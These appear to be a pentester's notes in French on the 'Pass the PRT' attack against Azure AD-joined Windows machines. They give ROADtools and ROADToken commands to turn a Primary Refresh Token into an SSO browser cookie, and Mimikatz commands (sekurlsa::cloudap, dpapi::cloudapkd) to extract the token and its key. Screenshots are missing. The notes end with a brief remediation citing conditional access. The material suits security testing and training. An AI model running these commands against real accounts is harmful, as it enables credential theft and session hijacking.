Pass the PRT

Def et fonctionnement :


Objectif : Mouvement latéral
Prérequis : une machine joined avec l'AAD compromise
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt
PRT ou Primary Refresh Token est utilisé pour fournir du SSO pour les utilisateurs de windows. Le fonctionnement est plutôt proche d'un Kerberos TGT pour avoir du single sign-on.
Ça ne fonctionne que pour les clouds hybrides et/ou les Az AD joined.
Plus de détails sur l'Authentification MEID ou bien Primary Refresh Token
https://www.youtube.com/watch?v=J9Kwb2IA65E

Exploitation :


Vérification SSO :


Sur la machine on peut taper :

dsregcmd.exe /status

on doit vérifier deux conditions :

Récupération du PRT :


Avec ROADTools :

Pass the PRT :


roadrecon auth --prt-init

Pasted image 20240624114109.png
AwABEgEAAAACAOz_BQD0_4xCBJ3O_M2HMlTngT5nJrHsm5wbGMTyGOhllM1v0RKqj_kgFcMZRuk3RZs-8qzGFx-kSkFwIBQbZIbqiwd5k48gAA

On peut ensuite utiliser ce prt pour request un cookie avec cet outil qu'il faut compiler en utilisant VS studio (et en installant le bon framework de dev). (chercher RoadTOKEN.exe)

.\ROADToken.exe AwABEgEAAAACAOz_BQD0_TOKEN_SAMPLE

Pasted image 20240625162204.png
Le token est après data: :
On aura ensuite a faire :

roadrecon auth --prt-cookie <Cookie>

ce qui va nous donner un cookie de SSO a mettre dans notre navigateur pour se connecter

Dans notre cas on obtient : !Pasted image 20240625162953.png Cependant les conditional access policies nous bloquent car le nonce n'est pas expired et le cookie est valide.

Une autre alternative est d'utiliser Mimikatz pour réaliser cette attaque :

Pass the PRT :


Le but de cette attaque est de faire un PassThePRT, pour se faire voici les étapes à réaliser :
1.

privilege::debug
Sekurlsa::cloudap

Pasted image 20240701095357.png
2.

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]

Pasted image 20240701095923.png

Remédiation :


On l'a vu, les conditional access policies bloquent cette attaque si configurées correctement.